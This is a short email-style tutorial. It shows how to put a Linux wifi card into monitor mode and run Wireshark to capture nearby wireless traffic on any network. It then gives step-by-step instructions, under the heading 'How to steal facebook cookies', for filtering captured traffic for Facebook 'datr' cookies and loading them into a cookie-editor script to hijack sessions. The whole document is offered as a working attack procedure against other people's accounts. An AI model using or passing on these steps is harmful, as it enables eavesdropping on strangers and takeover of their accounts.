

The following email is a tutorial to teach you how to sniff any wifi traffic in the area regardless of the network.

How to set up wifi card

Compulsory reading:

http://en.wikipedia.org/wiki/Promiscuous_mode

http://en.wikipedia.org/wiki/Monitor_mode

http://wiki.wireshark.org/CaptureSetup/WLAN#Monitor_mode

[http://www.aircrack-ng.org/doku.php?](http://www.aircrack-ng.org/doku.php?id=b43#set_failed_on_device_wlan0device_or_resource_busy_when_setting_monitor_mode)

[id=b43#set_failed_on_device_wlan0device_or_resource_busy_when_setting_monitor_mode](http://www.aircrack-ng.org/doku.php?id=b43#set_failed_on_device_wlan0device_or_resource_busy_when_setting_monitor_mode)

Turn on Linux

Turn on your wifi card

Disable wireless in the network manager to release the card from the system

Type "sudo ifconfig wlan0 down" to turn off the wifi card

Type "iwconfig" to see what mode the wifi card is in

Type "sudo iwconfig wlan0 mode Monitor" to put the wifi card in monitor mode

Type "sudo ifconfig wlan0 up" to turn on the wifi card

Type "sudo wireshark" to turn on wireshark with root permissions

Sniff traffic on wlan0

How to steal facebook cookies on linux

Compulsory reading:

<http://atenlabs.com/blog/how-to-steal-facebook-authentication-cookies/>

Type into the Wireshark sniffer filter box: http.cookie contains "datr"

Press apply

Select the pack you want to extract the cookie from

In the window underneath press the arrow beside the http submenu

Scroll down until you see "Cookie: datr="

Right click on that line and press copy>Bytes(printable text only)

This can now be entered into your facebook cookie editor greasemonkey script

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